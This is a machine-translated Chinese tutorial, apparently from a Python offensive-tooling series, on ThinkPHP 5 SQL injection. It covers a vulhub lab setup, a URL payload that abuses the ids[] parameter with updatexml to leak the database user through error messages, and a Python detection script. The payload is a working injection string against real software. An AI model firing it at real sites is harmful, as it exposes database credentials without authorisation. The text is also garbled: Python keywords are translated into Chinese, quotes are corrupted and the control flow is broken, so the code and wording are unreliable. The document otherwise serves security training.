Python武器库开发-武器库篇之Thinkphp5 SQL注入漏洞(六十六)
漏洞环境搭建
我们将使用Kali虚拟机安装Docker,并搭建一个vulhub靶场,用于安装ThinkPHP漏洞环境。进入ThinkPHP漏洞环境,cd ThinkPHP查看当前可以搭建的射程。 vulhub 是关于ThinkPHP 漏洞的。可以设置5个射击场。以in-sql注入漏洞为例。如果要安装in-sqlinjection漏洞环境,请cd进入in-sqlinjection并输入以下命令启动射程环境。
docker-compose up -d
接下来,在浏览器中输入“https://localhost:8083”即可访问射击场环境。
Thinkphp5 SQL注入漏洞原理
ThinkPHP 5 是一个开源PHP 框架,广泛用于构建Web 应用程序。然而,SQL 注入漏洞可能是由糟糕的编码或用户输入的数据未经适当验证引起的。
SQL注入攻击是一种利用应用程序对用户输入数据的不当处理来导致恶意SQL代码执行的攻击技术。通过将恶意SQL 代码注入用户输入的数据中,攻击者可以获得对数据库的访问权限或执行未经授权的操作。
ThinkPHP 5中出现SQL注入漏洞的主要原因是绑定编译指令时传递的某些参数没有安全处理,导致预编译时出现SQL异常或错误。不过thinkphp5默认开启了debug模式,在易受攻击的环境中构造不正确的SQL语法会导致数据库账号和密码泄露。
Thinkphp5 SQL注入漏洞 POC
下面是Thinkphp5 SQL注入漏洞的POC。代码如下:
Index.php?ids[]=1ids[]=2
/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
将POC 添加到URL 路径将泄露受损的帐户和密码。
Thinkphp5 SQL注入漏洞 POC编写
现在我们将使用Python编写代码来检测Thinkphp5 SQL注入漏洞。内容如下。
#!/usr/bin/env Python
导入请求
从urllib.parse 导入urljoin
def thinkphp5_sqli(url):
有效负载=urljoin(url,\’/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1\’)
响应=request.get(url=payload, verify=False)
如果响应中存在“XPATH 语法错误”。文本:
print(\’存在漏洞\’)
: 其他
print(\’不存在漏洞\’)
如果__name__==\’__main__\’:
网址=\’http://localhost:8083/\’
thinkphp5_sqli(网址)
POC代码详细分析
该代码用于检测ThinkPHP 5框架中的SQL注入漏洞。首先,代码导入所需的库,包括request 和urllib.parse 模块。接下来,定义一个名为thinkphp5_sqli 的函数,该函数采用URL 参数。
该功能主要通过构造特定的payload来检测目标URL是否存在漏洞。 Payload使用urljoin函数构造一个包含恶意SQL注入语句的URL。具体来说,该注入语句利用updatexml函数执行检索当前用户等恶意操作。
然后,代码使用requests 库发送GET 请求,并将构造的有效负载作为URL 参数传递给请求。 verify参数设置为False,表示不进行SSL验证。
最后,代码检查响应是否包含字符串“XPATH 语法错误”。如果该字符串存在,则说明目标URL存在SQL注入漏洞,输出“Vulnerable”。否则,它将打印“不存在漏洞”。
在if name==\’main\’: 部分,代码将默认URL 定义为\’http://localhost:8083/\’ 并调用thinkphp5_sqli 函数来检测该URL 是否存在漏洞。可以根据需要更改默认URL 参数以发现其他URL。
运行效果图
下面是代码串的实际执行结果。
以上#Python Arsenal开发相关内容来源仅供参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92098.html